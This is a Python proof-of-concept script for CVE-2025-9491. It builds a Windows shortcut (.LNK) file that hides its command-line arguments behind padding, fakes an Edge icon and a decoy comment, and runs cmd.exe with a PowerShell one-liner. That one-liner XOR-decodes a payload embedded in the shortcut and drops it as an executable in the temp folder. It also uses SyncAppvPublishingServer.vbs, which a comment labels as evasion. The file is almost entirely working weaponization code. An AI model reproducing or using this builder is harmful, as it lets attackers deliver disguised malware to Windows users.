CVE_2025_9491.py

#!/bin/python3
# https://nvd.nist.gov/vuln/detail/CVE-2025-9491
# Simple PoC for CVE-2025-9491 that masks .LNKs with hidden payloads. 

ps1_payload = "calc.exe"

# Gets and XOR decodes payload contents from inside the LNK file
ps1_payload = """[byte[]]((gc *.lnk -enc 3 | ? {$_.length -ne 0x00012126})[-100..-1] | % { $_ -bxor 0x77 }) | ac -Path "$env:TEMP\\foo.exe" -enc 3"""

def encode_and_pad(string, padding, size):
    if len(string) > size:
        return string[:size]
    encoded_string = string.encode('utf-16-le')
    padding_needed = size - len(encoded_string)
    if padding_needed > 0:
        num_units = padding_needed // len(padding)
        remainder = padding_needed % len(padding)
        padding_data = (padding * num_units) + padding[:remainder]
        final_comment = encoded_string + padding_data
    else:
        final_comment = encoded_string[:size]
    return final_comment

header = bytes([
    0x4C, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x46, 0xE4, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00
])

comment_str = """Type:aa Date modified: 01/02/2020 11:23"""
comment = encode_and_pad(comment_str, b'\x20\x00', 0x82)
comment += bytes([0x7A, 0x03])
comment += encode_and_pad("", b'\x20\x00', 0x400)

# args = encode_and_pad("/c calc.exe\n", b'\x00', 0x2ee)
args = encode_and_pad("%(MoUsoCoreWorker.exe) %" + "(%s)\n" % (ps1_payload), b'\x00', 0x2ee)

icon_str = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"
icon = icon_str.encode('utf-16-le')

metadata_1 = bytes([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, len(icon_str), 0x00])

metadata_2 = bytes([
    0x14, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0xA0, 0x25, 0x77, 0x69, 0x6E, 0x64, 0x69, 0x72, 0x25,
    0x5C, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x33, 0x32, 0x5C, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78,
    0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
])

# Concurrent execution for evasion
executable = encode_and_pad("%windir%\\system32\\SyncAppvPublishingServer.vbs", b'\x00', 0x208)

final = header + comment + args + metadata_1 + icon + metadata_2 + executable

with open("final.lnk", 'wb') as f:
        f.write(final)